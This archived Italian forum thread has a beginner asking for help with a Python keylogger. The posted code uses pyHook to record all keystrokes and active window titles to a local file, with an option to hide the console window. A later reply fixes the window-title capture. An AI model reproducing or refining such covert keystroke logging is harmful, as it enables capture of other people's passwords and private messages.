PDA

View Full Version : [Python] Creazione di un keylogger


Alessio Orsini
17-01-2018, 22:36
Ciao a tutti!
sto creando un keylogger (scopiazzando anche da internet, non conosco troppo il python ma voglio impararlo) e sono inceppato in 2 problemi:
il primo è che non riesco a scrivere tutti i tasti 'shiftati', ad esempio il punto interrogativo, i due punti e simili;
il secondo è che volevo fare un qualcosa che registri anche il titolo della finestra dove sto scrivendo (o meglio, quella attiva). per farlo sto usando hwnd = win32gui.GetActiveWindow()
win32gui.GetWindowText(hwnd)

ma pare non funzionare e non capisco perchè.. il programma non 'cattura' il titolo delle finestre

il codice intero è questo:import win32api, win32console, win32gui
import pythoncom, pyHook

# le successive due righe servono per nascondere la finestra del programma
win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)

title = []
hwnd = win32gui.GetActiveWindow()

def OnKeyboardEvent(event):
global title
hwnd = win32gui.GetActiveWindow()
e=open('event.txt','a')
if win32gui.GetWindowText(hwnd)!=title:
title = win32gui.GetWindowText(hwnd)
e.write('\n\n'+title+'\n')
ch=chr(event.Ascii)
if event.Ascii==13:
ch='\n'
e.write(ch)
e.close()

hmgr = pyHook.HookManager()
hmgr.KeyDown = OnKeyboardEvent
hmgr.HookKeyboard()
pythoncom.PumpMessages()


Non è che potreste darmi qualche dritta?:D

Alessio Orsini
18-01-2018, 16:12
Sono riuscito ad aggiustare il secondo punto! mi è bastato usare 'win32gui.GetForegroundWindow()' invece di 'win32gui.GetActiveWindow()'

PS: nella domanda mi sono dimenticato di specificare che uso python 3.6, sorry